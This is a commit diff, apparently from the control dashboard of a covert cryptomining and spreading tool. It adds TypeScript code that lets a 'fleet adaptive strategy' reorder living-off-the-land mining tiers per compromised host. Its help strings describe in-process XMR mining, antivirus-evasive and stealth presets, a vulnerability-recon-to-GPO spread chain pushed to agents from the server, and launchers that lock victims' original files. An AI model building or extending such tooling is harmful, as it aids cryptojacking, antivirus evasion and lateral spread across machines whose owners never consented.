Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:15:18 -07:00
parent 047d5c7252
commit 85376eac7c
23 changed files with 1141 additions and 6 deletions

View File

@@ -13,6 +13,20 @@ export interface EnvironmentProbes {
webview2?: boolean;
}
export interface StrategyReason {
fact: string;
inference: string;
action: string;
}
export interface AdaptiveStrategyView {
tier_order?: string[];
skip_tiers?: string[];
reasoning?: StrategyReason[];
confidence?: number;
updated_at?: string;
}
export interface AccessDepthDiagnostics {
environment_probes?: EnvironmentProbes;
tier_chain_order?: string[];
@@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics {
lotl_attempts?: TierAttempt[];
active_method?: string;
execution_mode?: string;
adaptive_strategy?: AdaptiveStrategyView;
strategy_reasoning?: StrategyReason[];
}
export interface AccessDepthServerPolicy {
@@ -72,7 +88,10 @@ export interface AccessDepthModel {
miningOnion: OnionTierRow[];
spreadOnion: OnionTierRow[];
tripleOnionSummary?: string;
miningOrderSource: 'agent' | 'server' | 'default';
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
adaptiveActive: boolean;
strategyReasoning: StrategyReason[];
adaptiveConfidence?: number;
}
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
@@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
return {
environment_probes: parseEnvironmentProbes(raw.environment_probes),
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
@@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
lotl_attempts: attempts.length ? attempts : undefined,
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
adaptive_strategy: adaptive,
strategy_reasoning: reasoning,
};
}
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
if (!Array.isArray(raw)) return undefined;
const out: StrategyReason[] = [];
for (const row of raw) {
if (!row || typeof row !== 'object') continue;
const r = row as Record<string, unknown>;
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
out.push({ fact: r.fact, inference: r.inference, action: r.action });
}
return out.length ? out : undefined;
}
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const tier_order = Array.isArray(row.tier_order)
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const skip_tiers = Array.isArray(row.skip_tiers)
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const reasoning = parseStrategyReasoning(row.reasoning);
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
if (!tier_order?.length && !reasoning?.length) return undefined;
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
}
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
if (a.length !== b.length) return true;
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
@@ -199,7 +256,17 @@ function resolveMiningOrder(
diag: AccessDepthDiagnostics | undefined,
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
if (diag?.adaptive_strategy?.tier_order?.length) {
const adaptiveOrder = diag.adaptive_strategy.tier_order;
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
return {
order: adaptiveOrder,
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
source: 'adaptive',
};
}
}
if (diag?.tier_chain_order?.length) {
return {
order: diag.tier_chain_order,
@@ -341,6 +408,9 @@ export function buildAccessDepthModel(
})),
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}`,
miningOrderSource: source,
adaptiveActive: source === 'adaptive',
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
};
}

View File

@@ -1,5 +1,9 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
export const ADAPTIVE_STRATEGY_HELP =
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
export const DEFAULT_LOTL_ONION_TIERS = [
'vuln_recon',
'docker',

View File

@@ -28,6 +28,10 @@ export const FIELD_HELP: Record<string, string> = {
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy:
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
lotl_onion_tiers:
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults: